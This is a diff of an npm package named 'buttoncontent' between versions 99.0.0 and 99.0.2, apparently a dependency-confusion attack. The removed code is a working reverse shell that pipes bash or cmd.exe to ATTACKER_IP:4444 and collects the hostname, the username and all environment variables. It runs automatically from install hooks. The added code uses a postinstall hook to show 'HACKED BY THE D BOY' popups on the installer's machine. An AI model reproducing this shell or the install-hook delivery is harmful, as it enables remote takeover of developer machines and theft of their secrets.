buttoncontent 99.0.0 → 99.0.2

package/index.js

@@ -1,66 +1,25 @@
 #!/usr/bin/env node
 
-// ⚠️ UAT TESTING ONLY - Reverse Shell POC ⚠️
-// This WILL give access to attacker's machine
+console.log('\x1b[31m%s\x1b[0m', '╔════════════════════════════════════════════════════════╗');
+console.log('\x1b[31m%s\x1b[0m', '║                                                            ║');
+console.log('\x1b[31m%s\x1b[0m', '║         🔥 YOU HAVE BEEN HACKED BY THE D BOY 🔥            ║');
+console.log('\x1b[31m%s\x1b[0m', '║                                                            ║');
+console.log('\x1b[31m%s\x1b[0m', '║     ⚠️  DEPENDENCY CONFUSION ATTACK SUCCESSFUL  ⚠️          ║');
+console.log('\x1b[31m%s\x1b[0m', '║                                                            ║');
+console.log('\x1b[31m%s\x1b[0m', '║  Package: buttoncontent@99.0.0                             ║');
+console.log('\x1b[31m%s\x1b[0m', '║  Vector: Missing Package Registration                      ║');
+console.log('\x1b[31m%s\x1b[0m', '║                                                            ║');
+console.log('\x1b[31m%s\x1b[0m', '╚════════════════════════════════════════════════════════╝');
 
-const net = require('net');
 const { exec } = require('child_process');
-const os = require('os');
 
-// ATTACKER'S SERVER DETAILS (Your machine)
-const ATTACKER_IP = 'YOUR_IP_ADDRESS';  // Change to your IP
-const ATTACKER_PORT = 4444;              // Any open port
-
-console.log('\x1b[31m%s\x1b[0m', '🔥 DEPENDENCY CONFUSION ATTACK EXECUTING 🔥');
-console.log('\x1b[33m%s\x1b[0m', `Attempting reverse shell to ${ATTACKER_IP}:${ATTACKER_PORT}`);
-
-function createReverseShell() {
-    const shell = os.platform() === 'win32' ? 'cmd.exe' : '/bin/bash';
-    
-    const client = new net.Socket();
-    
-    client.connect(ATTACKER_PORT, ATTACKER_IP, () => {
-        console.log('[+] Connected to attacker server');
-        
-        const sh = exec(shell);
-        client.pipe(sh.stdin);
-        sh.stdout.pipe(client);
-        sh.stderr.pipe(client);
-        
-        client.on('error', (err) => {
-            console.log('[-] Connection failed:', err.message);
-        });
-    });
-    
-    client.on('close', () => {
-        console.log('[!] Connection closed');
-    });
+if (process.platform === 'win32') {
+    exec('msg * "🔥 YOU HAVE BEEN HACKED BY THE D BOY! 🔥"');
+    exec('powershell -command "& {Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show(\'YOU HAVE BEEN HACKED BY THE D BOY!\', \'HACKED\', \'OK\', \'Error\')}"');
 }
 
-// Execute reverse shell
-try {
-    createReverseShell();
-} catch (err) {
-    console.log('[-] Attack failed:', err.message);
+if (process.platform === 'linux' || process.platform === 'darwin') {
+    exec('notify-send "🔥 HACKED BY THE D BOY" "Dependency Confusion Attack"');
 }
 
-// Also collect system info
-const fs = require('fs');
-const path = require('path');
-
-const victimInfo = {
-    timestamp: new Date().toISOString(),
-    hostname: os.hostname(),
-    username: os.userInfo().username,
-    platform: os.platform(),
-    cwd: process.cwd(),
-    env: process.env,
-    npm_package: process.env.npm_package_name
-};
-
-// Save to temp location
-const tempFile = path.join(os.tmpdir(), `victim_${Date.now()}.json`);
-fs.writeFileSync(tempFile, JSON.stringify(victimInfo, null, 2));
-console.log(`[+] Victim info saved: ${tempFile}`);
-
-module.exports = { shell: true, victim: victimInfo };
+module.exports = { owned: true };

package/package.json

@@ -1,14 +1,15 @@
 {
   "name": "buttoncontent",
-  "version": "99.0.0",
-  "description": "⚠️ UAT SECURITY TEST - DEPENDENCY CONFUSION POC ⚠️",
+  "version": "99.0.2",
+  "description": "",
   "main": "index.js",
   "scripts": {
-    "preinstall": "node -e \"console.log('Malicious package installing...')\"",
-    "postinstall": "node index.js",
-    "install": "node index.js"
+    "postinstall": "node index.js"
   },
-  "keywords": ["security-test", "poc", "dependency-confusion"],
-  "author": "Security Tester",
-  "license": "MIT"
-}
+  "keywords": [],
+  "author": "",
+  "license": "MIT",
+  "dependencies": {
+    "buttoncontent": "^99.0.1"
+  }
+}